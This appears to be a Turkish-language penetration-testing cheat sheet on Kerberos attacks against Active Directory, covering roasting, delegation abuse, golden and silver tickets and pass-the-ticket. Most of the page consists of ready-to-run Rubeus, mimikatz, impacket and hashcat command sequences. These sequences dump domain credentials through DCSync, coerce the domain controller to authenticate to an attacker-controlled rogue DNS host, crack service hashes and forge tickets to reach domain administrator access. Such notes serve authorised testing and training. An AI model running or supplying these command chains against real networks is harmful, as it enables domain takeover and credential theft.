Kerberos Attacks

Kerberos Nedir?

  • Kerberos, servislerin her kullanıcının kimlik bilgilerini bilmek zorunda kalmasını önlemek için kimlik doğrulamayı merkezileştirmek için kullanılır.

  • Kullanıcıların ağ üzerinden bir şifre göndermeden hizmetlere kimlik doğrulaması yapmasına olanak tanır. Bu, MITM saldırılarına karşı koruma sağlar.

Username Enumeration

  • As-Req isteklerini kullanarak domaindeki kullanıcıların bir listesini bulabiliriz.

  • Bu yöntem smb'den çok daha sessizdir ve hızlıdır.

kerbrute userenum users.txt --dc dc01.corp.local -d corp.local

Password Spraying

  • Bu saldırı ile bir kullanıcı listesinde sabit bir parolayı deneyebiliriz.

  • Domain'de çok fazla dikkat çeker.

kerbrute passwordspray users.txt 'corp2025' --dc dc01.corp.local -d corp.local

AS-REPRoasting

  • Bir domain hesabı veya hesap listesi gerekir.

  • DONT_REQ_PREAUTH (Do not require Kerberos preauthentication) özelliği açık olan hesaplar etkilenir.

  • Parolaların kırılabilir olması gerekir.

  • Windowsta aşağıdaki şekilde yapılır.

# PowerView modülünü içeri aktar
Import-Module .\PowerView.ps1
# Pre-authentication gerektirmeyen kullanıcıları bulur
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
# AS-REP roasting saldırısını gerçekleştir ve TGT'leri kaydeder
.\Rubeus.exe asreproast /nowrap /outfile:asrep.txt
# TGT'leri kırar
.\hashcat.exe -m 18200 asrep.txt rockyou.txt -O
  • Linuxta aşağıdaki şekilde yapılır

# Zafiyetli hesapların TGT'sini alır (kullanıcı hesabı kullanarak)
impacket-GetNPUsers corp.local/john:'pass123' -dc-ip 10.10.10.1 -outputfile asrep.txt
# Zafiyetli hesapları TGT'sini alır (kullanıcı listesi kullanarak)
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.1 -usersfile users.txt -outputfile asrep.txt
# TGT'leri kırar
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

  • Eğer servis bir kullanıcı hesabı ile çalışıyorsa parolası zayıf olabilir ve kırılma ihtimali vardır.

  • Bir domain hesabı veya as-reproastable bir hesabın adı ve bir SPN gerekir.

  • Windowsta aşağıdaki şekilde yapılır

# Powerview ile kerberoasting
Import-Module .\PowerView.ps1
Invoke-Kerberoast

# Rubeus ile kerberoasting
.\Rubeus.exe kerberoast /nowrap /outfile:kerb.txt
# Hash kırma
.\hashcat.exe -m 13100 kerb.txt rockyou.txt -O

# Domain kullanıcısı olmadan kerberoasting
Rubeus.exe createnetonly /program:cmd.exe /show
Rubeus.exe kerberoast /nopreauth:john /domain:corp.local /spn:MSSQLSvc/SQL01:1433 /nowrap /outfile:kerb.txt
# Servis hesaplarının TGS'lerini alır
impacket-GetUserSPNs corp.local/john:'pass123' -dc-ip 10.10.10.1 -outputfile kerb.txt
# TGS hashini kırar
hashcat -m 13100 kerb.txt rockyou.txt

Unconstrained Delegation Computer

  • Eğer bir kullanıcı, Unconstrained Delegation etkinleştirilmiş bir sunucuda bir TGS bileti talep ederse, kullanıcının TGT'si, TGS biletinin içine gömülür ve bu bilet daha sonra sunucuya gönderilir.

  • Sunucu bu bileti bellekte saklar ve ardından domaindeki diğer isteklerde o kullanıcıymış gibi davranabilir.

  • Eğer Unconstrained Delegation etkin değilse, yalnızca kullanıcının TGS bileti bellekte saklanır. Bu durumda, makine ele geçirilirse, bir saldırgan yalnızca TGS biletinde belirtilen kaynağa, o kullanıcının yetkilerinde erişebilir.

  • Unconstrained Delegation olan bir cihaza oturumumuz olmalı.

# Unconstrained Delegation olan bilgisayarları bulur
Import-Module .\PowerView.ps1
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description

# Bir kullanıcının oturum açmasını bekliyoruz ve TGT'sini alıyoruz
.\Rubeus.exe monitor /interval:5 /nowrap
# Oturum açan kullanıcının yetkilerine bakabiliriz
Get-DomainGroup -MemberIdentity <USERNAME>
# TGT'yi kullanarak istediğimiz servis için TGS istiyoruz.
.\Rubeus.exe asktgs /ticket:<TICKET_BASE64> /service:cifs/dc01.corp.local /ptt /nowrap
# TGS kullanmak yerine doğrudan TGT kullanabiliriz 
.\Rubeus.exe renew /ticket:<TICKET_BASE64> /ptt /nowrap
# Aldığımız kullancının yetkilerini kullanabiliriz
dir \\dc01.corp.local\c$
  • Aynı zafiyeti doğrudan DC TGT'sini ele geçirmek için kullanabiliriz.

# DC'nin oturum açmasını bekliyoruz
.\Rubeus.exe monitor /interval:5 /nowrap
# DC'nin bize oturum açması için zorluyoruz
.\SpoolSample.exe dc01.corp.local sql01.corp.local
# DC'nin TGT'sini kullanıyoruz
.\Rubeus.exe renew /ticket:<TICKET_BASE64> /ptt /nowrap
# Mimikatz ile DCSYNC yapabiliriz
.\mimikatz.exe
lsadump::dcsync /user:administrator
# Domain admin hashini kullanabiliriz
.\Rubeus.exe asktgt /rc4:<NTLM> /user:administrator /ptt
dir \\dc01.corp.local\c$


# DCSYNC yapmak istemiyorsak S4U2self yapabiriz
.\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.corp.local /ptt /ticket:<BASE64_TICKET>
dir \\dc01.corp.local\c$

Unconstrained Delegation User

  • Aynı yetki bir kullanıcıya da verilebilir.

  • Burada Unconstrained Delegation olan hesabın SPN'nindeki makinaya oturum açan herkes TGS bileti içine TGT kaydını da ekler. Bu nedenle kullanıcının yetkilerini istediğimiz gibi kullanabiliriz.

  • Bu saldırıyı için 2 şart sağlanmalı.

    • Unconstrained Delegation yetkisi olan bir kullanıcı hesabı ele geçirilmiş olmalı

    • Ele geçirdiğimiz kullanıcı üzerinde GenericWrite yetkisi olan bir hesap ele geçirmiş olunmalı. Bu yetki ile kullanıcı hesabına SPN ekleniyor.

# Unconstrained Delegation olan kullancılari listeler
Import-Module .\PowerView.ps1
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"


# Domaine bizim ip adresimizi cozen sahte bir DNS kaydı ekliyoruz
python dnstool.py -u corp.local\\john -p pass123 -r rogue.corp.local -d <ATTACKER_IP> --action add <DC_IP>
# GenericWrite olan hesap ile Unconstrained Delegation olan hesaba SPN oluşturuyoruz
addspn.py -u corp.local\\john -p pass123 --target-type samname -t sqldev -s CIFS/rogue.corp.local dc01.corp.local
# Unconstrained Delegation olan kullanıcı hashi ile relay açıyoruz
python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
# Printerbug ile DC yi bize bağlanması için zorluyoruz
python3 printerbug.py corp.local/john:pass123@<DC_IP> rogue.corp.local
# TGT yi import ediyoruz
export KRB5CCNAME=./DC01\$@CORP.LOCAL_krbtgt@CORP.LOCAL.ccache
# DC Sync yapıyoruz
secretsdump.py -k -no-pass dc01.corp.local

Constrained Delegation (S4UProxy)

  • Bir hesabın veya bilgisayarın oturum açan kullanıcının yetkileri ile servislere bağlanmasını sağlar fakat sadece belirlenmiş bir cihazdaki belirli bir servis için bu yetki kısıtlanır.

  • Aşağıdaki yöntemi kullanarak hedef bilgisayardaki belirlenmiş servise değil diğer servislere de bağlanabiliriz.

# Windows

# Constrained Delegation olan kullanıcı ve bilgisayarları listeliyoruz
Import-Module .\PowerView.ps1
# msds-allowedtodelegateto özelliği olan hesapları arıyoruz
Get-DomainComputer -TrustedToAuth

# Makinedeki hashleri listeliyoruz ve hesabımızı buluyoruz
.\mimikatz.exe privilege::debug sekurlsa::msv exit
# Hesabımızın hashi ile msds-allowedtodelegateto yetkisine sahip olduğumuz makinede administrator taklit ediyoruz
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.corp.local /altservice:HTTP /user:DMZ01$ /rc4:<NTLM> /ptt
# Ticketı kontrol ediyoruz
klist
# Winrm ile artık bağlanabiliriz
Enter-PSSession ws01.corp.local
# Linux

# Bütün delegation yetkilerini listeler
impacket-findDelegation corp.local/john:'pass123'
# Administrator için ST alıyoruz
impacket-getST -spn TERMSRV/DC01 'corp.local/john:pass123' -impersonate Administrator
# Bileti import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# Bilet ile giriş yapıyoruz
impacket-psexec -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug

Resource-based constrained delegation (RBCD)

  • Bir hesabın veya bilgisayarın oturum açan kullanıcının yetkileri ile servislere bağlanmasını sağlar fakat sadece belirlenmiş bir cihazdaki belirli bir servis için bu yetki kısıtlanır.

  • Constrained Delegation'dan tek farkı bu yetkinin hizmet hesabına veya bilgisayarına tanımlanması yerine erişilmesi gereken servise tanımlanmasıdır.

  • Saldırı için 2 koşul sağlanmalı

    • Bir bilgisayardaki msDS-AllowedToActOnBehalfOfOtherIdentity özelliğini değiştirme ayrıcalıklarına sahip bir kullanıcı veya gruba erişim. Bu genellikle, kullanıcının bir bilgisayar nesnesi üzerinde GenericWrite, GenericAll, WriteProperty veya WriteDACL ayrıcalıklarına sahip olması durumunda mümkündür.

    • SPN'ye sahip başka bir nesnenin kontrolü.

# RBCD yetkilerini listeler
Import-Module C:\Tools\PowerView.ps1
$computers = Get-DomainComputer
$users = Get-DomainUser
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"
foreach ($computer in $computers) {
    $acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs
    foreach ($user in $users) {
        $hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}
        if ($hasAccess) {
            Write-Output "$($user.SamAccountName) has the required access rights on $($computer.Name)"
        }
    }
}
  • Aşağıdaki komutlar ile windowsta yapılır.

# Domaine sahte bir bilgisayar ekliyoruz
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount ROGUECOMP -Password $(ConvertTo-SecureString "Password123!" -AsPlainText -Force)

# Kendi sahte makinamızı RBCD yetkisi olan bilgisayarın trust listesine ekliyoruz
# Bu listeye eklemek için bilgisayar üstünde genericwrite yetkisi olan hesabı kullanıyoruz
Import-Module .\PowerView.ps1
$ComputerSid = Get-DomainComputer ROGUECOMP -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$credentials = New-Object System.Management.Automation.PSCredential "CORP\john", (ConvertTo-SecureString "pass123" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose

# Sahte bilgisayarın ntlm hashini alıyoruz
.\Rubeus.exe hash /password:Password123! /user:ROGUECOMP$ /domain:corp.local
.\Rubeus.exe s4u /user:ROGUECOMP$ /rc4:<NTLM> /impersonateuser:administrator /msdsspn:cifs/dc01.corp.local /ptt
klist
ls \\dc01.corp.local\c$

# Yetkiyi domainden silme
Import-Module .\PowerView.ps1
$credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\john", (ConvertTo-SecureString "Pass123" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -Verbose
  • Aşağıdaki komutlar ile linuxta yapılır.

# Domain'e sahte bilgisayar ekliyoruz
impacket-addcomputer -computer-name 'ROGUECOMP$' -computer-pass 'Password123!' -dc-ip <DC_IP> corp.local/john'pass123'
# Saldırıyı otamatik yapan scripti çağrıyoruz
impacket-rbcd -dc-ip <DC_IP> -action 'write' -delegate-to DC01$ -delegate-from REGUECOMP$ corp/john:pass123
# Oluşturduğumuz makine hesabı ile TGS alıyoruz
impacket-getST -spn cifs/DC01.corp.local -impersonate Administrator -dc-ip <DC_IP> corp.local/ROGUECOMP:'Password123!'
# TGS import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# TGS'yi kullanıyoruz
impacket-psexec -k -no-pass dc01.corp.local
  • Makine oluşturma yetkimiz yoksa aşağıdaki yöntem kullanılır

# Yetki olan hesabım parola hashini alıyoruz
pypykatz crypto nt 'pass123'
# Hesabın TGT'sini alıyoruz
impacket-getTGT CORP.LOCAL/john -hashes :<NT> -dc-ip <DC_IP>
# TGT içindeki session anahtarını alıyoruz
impacket-describeTicket john.ccache | grep 'Ticket Session Key'
# Bu anahtarı hesabımızın yeni hashi olarak ayarlıyoruz
impacket-changepasswd corp.LOCAL/john@<DC_IP> -hashes :<LM> -newhash :<TICKET_KEY>
# TGT anahtarını içe aktarıyoruz
export KRB5CCNAME=./john.ccache
# TGT anahtarını kullanarak GenericWrite yetkimizin olduğu SPN'de administrator taklit ederek TGS istiyoruz
impacket-getST -u2u -impersonate Administrator -spn TERMSRV/DC01.corp.LOCAL -no-pass corp.LOCAL/john -dc-ip <DC_IP>
# TGS ticket import ediyoruz
export KRB5CCNAME=./Administrator@TERMSRV_DC01.corp.LOCAL@corp.LOCAL.ccache 
# Ticket ile servise bağlanıyoruz
impacket-wmiexec DC01.corp.LOCAL -k -no-pass

Golden Ticket

  • Golden Ticket saldırısı, saldırganların krbtgt hesabının parola karmasını kullanarak TGT'leri taklit etmesini ve imzalamasını sağlar.

  • Bu yöntem için Domain Controller içindeki krbtgt hesabının NT hashi gerekir.

  • Windowsta aşağıdaki şekilde yapılır

Import-Module .\PowerView.ps1
Get-DomainSID
.\mimikatz.exe
lsadump::dcsync /user:krbtgt /domain:corp.local
kerberos::golden /domain:corp.local /user:Administrator /sid:<SID> /rc4:<NT_HASH> /ptt
klist
Enter-PSSession dc01
  • Linuxta aşağıdaki şekilde yapılır

# DCsync ile krbtgt NT hashini alıyoruz
impacket-secretsdump corp.local/administrator:'password123'@dc01.corp.local -just-dc-user krbtgt
# Domainin SID değerini alıyoruz
impacket-lookupsid corp.local/john:'pass123'@dc01.corp.local -domain-sids
# KRBTGT ile golden ticket oluşturuyoruz
impacket-ticketer -nthash <KRBTGT_NT> -domain-sid <SID> -domain corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# Bileti kullanıyoruz
impacket-psexec -k -no-pass dc01.corp.local

Silver Ticket

  • Silver ticket, saldırganın bir makine hesabının NT hashini kullanarak bir sahte bir TGS oluşturmasını sağlar.

  • Golden ticket'tan daha gizlidir çünkü her erişimde domain controller'a gidilmesi gerekmez.

  • Windowsta aşağıdaki şekilde yapılır.

# Powerview import ediyoruz
Import-Module .\PowerView.ps1
# Domain SID alıyoruz
Get-DomainSID
# Makine hesabının hashini kullanarak bir bilet oluşturuyoruz
.\mimikatz.exe "kerberos::golden /domain:corp.local /user:Administrator /sid:<SID> /rc4:<MACHINE_ACCOUNT_NT> /target:sql01.corp.local /service:cifs /ptt" exit
klist
# Bu bileti servise erişmek için kullanıyoruz
dir //sql01.corp.local/c$
  • Eğer gizlice bu servise bağlanmak istersek Sacrificial Process kullanabiliriz

# Powerview import ediyoruz
Import-Module .\PowerView.ps1
# Domain SID alıyoruz
Get-DomainSID
# Makine hesabının hashini kullanarak bir bilet oluşturuyoruz
.\mimikatz.exe
mimikatz.exe "kerberos::golden /domain:corp.local /user:Administrator /sid:<SID> /rc4:<MACHINE_ACCOUNT_NT> /target:sql01.corp.local /service:cifs /ticket:sql01.kirbi" exit
# Kullanıcısız bir cmd çalıştırıyoruz
Rubeus.exe createnetonly /program:cmd.exe /show
# Bu cmd'ye biletimizi aktarıyoruz
Rubeus.exe ptt /ticket:sql01.kirbi
# Bu bilet ile servise giriş yapıyoruz
PSExec.exe -accepteula \\sql01.corp.local cmd
  • Linuxta aşağıdaki şekilde yapılır

# Makine hesabının NT hashini alıyoruz
impacket-secretsdump administrator:'password123'@sql01.corp.local -just-dc-user SQL01$
# Domain SID alıyoruz
impacket-lookupsid corp.local/john:'pass123'@dc01.corp.local -domain-sids
# Makine hesabının NT hashi ile bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <MACHINE_ACCOUNT_NT> -domain-sid <SID> -domain corp.local -spn cifs/sql01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# Bilet ile servislere giriş yapabiliyoruz
impacket-smbclient -k -no-pass sql01.corp.local
impacket-psexec -k -no-pass sql01.inlanefreight.local

Pass-the-ticket

  • Bu saldırı için makinede local administrator yetkisinde olmalıyız.

  • Bu yöntem ile makinenin hafızasında bulunan TGS biletlerini kullanabiliyoruz.

# Kullanıcısız bir cmd oluşturduk
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
# Makinedeki bütün biletleri listeliyoruz
.\Rubeus.exe triage
# İstediğimiz servisin TGS biletini alıyoruz
.\Rubeus.exe dump /luid:<LUID> /service:krbtgt /nowrap
# Bileti kendimize aktarıyoruz
.\Rubeus.exe renew /ticket:<TGS_BASE64> /nowrap /ptt
# Bileti kontrol ediyoruz
klist
# Servise erişiyoruz
dir \\dc01\\c$

Servis SPN'leri

  • CIFS – Common Internet File System (SMB)

  • TERMSRV – Terminal Services (Remote Desktop bağlantıları)

  • WSMAN – Windows Remote Management (WinRM, PowerShell remoting)

  • RPCSS – Remote Procedure Call (RPC endpoint mapper)

  • HOST – Host service (CIFS+TERMSRV+WSMAN+WMI+RPCSS)

  • MSSQLSvc – Microsoft SQL Server

  • HTTP – HyperText Transfer Protocol (web sunucuları, IIS vb.)

  • LDAP – Lightweight Directory Access Protocol (Active Directory iletişimi)

  • SMTP – Simple Mail Transfer Protocol (e-posta gönderimi)

  • IMAP – Internet Message Access Protocol (e-posta alma)

  • POP – Post Office Protocol (başka bir e-posta alma protokolü)

Last updated

Was this helpful?